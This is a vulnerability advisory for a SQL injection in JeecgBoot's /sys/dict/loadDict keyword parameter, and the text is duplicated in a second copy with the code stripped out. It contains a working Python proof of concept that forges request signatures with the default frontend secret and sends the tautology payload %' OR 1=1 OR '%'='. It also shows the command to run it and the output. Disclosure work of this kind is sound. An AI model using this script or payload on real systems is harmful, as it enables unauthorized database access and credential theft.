Advisory Details
Title: SQL Injection Vulnerability in /sys/dict/loadDict via keyword Parameter Allows Information Disclosure
Description:
Summary
An insecure implementation of SQL filtering in JeecgBoot's core sys_dict components allows a remote, authenticated attacker to execute arbitrary SQL commands. By leveraging a structural bypass in the specialDictSqlXssStr dictionary filter, an attacker can input specific payloads to completely extract sensitive databases, including administrative passwords and system configurations, leading to unauthorized data disclosure and further system compromise.
Details
The vulnerability is rooted in org.jeecg.modules.system.service.impl.SysDictServiceImpl.java within the getFilterSql() method. It takes a user-controlled parameter keyword and dynamically constructs a LIKE SQL query clause (filterSql = " (" + code + " like '%" + keyword + "%' or " + text + " like '%" + keyword + "%')") which is then directly concatenated and passed to MyBatis for ${ filterSql } evaluation.
To prevent injection, the component calls SqlInjectionUtil.specialFilterContentForDictSql(keyword). In org/jeecg/common/util/SqlInjectionUtil.java, this method uses a targeted blacklist uniquely designed for dictionary component processing: specialDictSqlXssStr:
private static String specialDictSqlXssStr = "exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|+|--";
A critical oversight in this specific blocklist is the complete omission of foundational SQL relational operators: and and or . Consequently, an attacker can supply a payload containing a tautology like %' OR 1=1 OR '%'=', breaking out of the original '%...%' boundaries because neither the single quote ' nor the OR operators trigger any violation exceptions inside this specific dictionary blacklist string.
PoC
The loadDict endpoint is protected by JeecgBoot's signature validation interceptor (SignAuthInterceptor), which validates all requests using MD5 hashes combining parameters, an expiration X-TIMESTAMP, and a client secret.
The following Python script systematically constructs the mandatory runtime signature headers and reliably reproduces the bypass without triggering an error.
- Install requirements:
- Save the following code as
poc_sqli_keyword.py:
import argparse
import requests
import string
import urllib.parse
import hashlib
import time
import json
requests.packages.urllib3.disable_warnings()
def get_signed_headers(token, params_dict, dict_code="sys_user,username,id"):
# JeecgBoot's default frontend signature secret
secret = 'dd05f1c54d63749eda95f9fa6d49v442a'
ts = str(int(time.time() * 1000))
params_dict['x-path-variable'] = dict_code
# Sort and serialize identical to Fastjson
params_json = json.dumps(params_dict, separators=(',', ':'), sort_keys=True)
sign = hashlib.md5((params_json + secret).encode()).hexdigest().upper()
return {
'X-Access-Token': token,
'X-TIMESTAMP': ts,
'X-Sign': sign
}
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--target", required=True, help="Target URL e.g., http://localhost:8080/jeecg-boot")
parser.add_argument("--token", required=True, help="Valid JWT user token")
args = parser.parse_args()
target = args.target.rstrip("/")
dict_code = "sys_user,username,id"
url = f"{target}/sys/dict/loadDict/{urllib.parse.quote(dict_code)}"
# 1. Normal Request
print("[*] Sending normal request...")
params_normal = {"keyword": "NON_EXISTING"}
headers_normal = get_signed_headers(args.token, params_normal, dict_code)
resp_normal = requests.get(url, headers=headers_normal, params=params_normal, verify=False)
normal_count = len(resp_normal.json().get("result", []))
print(f" Normal rows: {normal_count}")
# 2. Injection Request (Tautology Bypass)
print("\n[*] Sending injection request...")
payload = "%' OR 1=1 OR '%'='"
params_inject = {"keyword": payload}
headers_inject = get_signed_headers(args.token, params_inject, dict_code)
resp_inject = requests.get(url, headers=headers_inject, params=params_inject, verify=False)
inject_count = len(resp_inject.json().get("result", []))
print(f" Injected rows: {inject_count}")
if inject_count > normal_count:
print("\n[SUCCESS] SQL Injection successfully bypassed the blacklist!")
if __name__ == '__main__':
main()
- Run the following command with a valid user token:
python3 poc_sqli_keyword.py --target http://localhost:8080/jeecg-boot --token "YOUR_TOKEN_HERE"
Log of Evidence
[*] Sending normal request...
Normal rows: 0
[*] Sending injection request...
Injected rows: 4
[SUCCESS] SQL Injection successfully bypassed the blacklist!
Impact
This is a SQL Injection (CWE-89) vulnerability. An authenticated user can bypass backend sanitization mechanisms to alter database queries dynamically. Utilizing Boolean-Based Blind techniques via Tautological injections, adversaries can systematically dump all rows connected to dictionary relations, map the database topology, read out privileged credential hashes (like Admin user records), escalating privileges and broadly compromising Data Confidentiality.
Affected products
- Ecosystem: maven
- Package name: jeecg-boot
- Affected versions: <= 3.9.1
- Patched versions:
Severity
- Severity: High
- Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Weaknesses
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Occurrences
Advisory Details
Title: SQL Injection Vulnerability in
/sys/dict/loadDictviakeywordParameter Allows Information DisclosureDescription:
Summary
An insecure implementation of SQL filtering in JeecgBoot's core
sys_dictcomponents allows a remote, authenticated attacker to execute arbitrary SQL commands. By leveraging a structural bypass in thespecialDictSqlXssStrdictionary filter, an attacker can input specific payloads to completely extract sensitive databases, including administrative passwords and system configurations, leading to unauthorized data disclosure and further system compromise.Details
The vulnerability is rooted in
org.jeecg.modules.system.service.impl.SysDictServiceImpl.javawithin thegetFilterSql()method. It takes a user-controlled parameterkeywordand dynamically constructs aLIKESQL query clause (filterSql = " (" + code + " like '%" + keyword + "%' or " + text + " like '%" + keyword + "%')") which is then directly concatenated and passed to MyBatis for${ filterSql }evaluation.To prevent injection, the component calls
SqlInjectionUtil.specialFilterContentForDictSql(keyword). Inorg/jeecg/common/util/SqlInjectionUtil.java, this method uses a targeted blacklist uniquely designed for dictionary component processing:specialDictSqlXssStr:A critical oversight in this specific blocklist is the complete omission of foundational SQL relational operators:
andandor. Consequently, an attacker can supply a payload containing a tautology like%' OR 1=1 OR '%'=', breaking out of the original'%...%'boundaries because neither the single quote'nor theORoperators trigger any violation exceptions inside this specific dictionary blacklist string.PoC
The
loadDictendpoint is protected by JeecgBoot's signature validation interceptor (SignAuthInterceptor), which validates all requests using MD5 hashes combining parameters, an expirationX-TIMESTAMP, and a client secret.The following Python script systematically constructs the mandatory runtime signature headers and reliably reproduces the bypass without triggering an error.
poc_sqli_keyword.py:python3 poc_sqli_keyword.py --target http://localhost:8080/jeecg-boot --token "YOUR_TOKEN_HERE"Log of Evidence
Impact
This is a SQL Injection (CWE-89) vulnerability. An authenticated user can bypass backend sanitization mechanisms to alter database queries dynamically. Utilizing Boolean-Based Blind techniques via Tautological injections, adversaries can systematically dump all rows connected to dictionary relations, map the database topology, read out privileged credential hashes (like Admin user records), escalating privileges and broadly compromising Data Confidentiality.
Affected products
Severity
Weaknesses
Occurrences
getFilterSqlmethod concatenateskeyworddirectly into the SQL query dynamically evaluated within MyBatis without proper sanitization encapsulation.specialDictSqlXssStrarray definition missing crucial SQL operator elementsorandandwhich actively facilitates the injection filter bypass.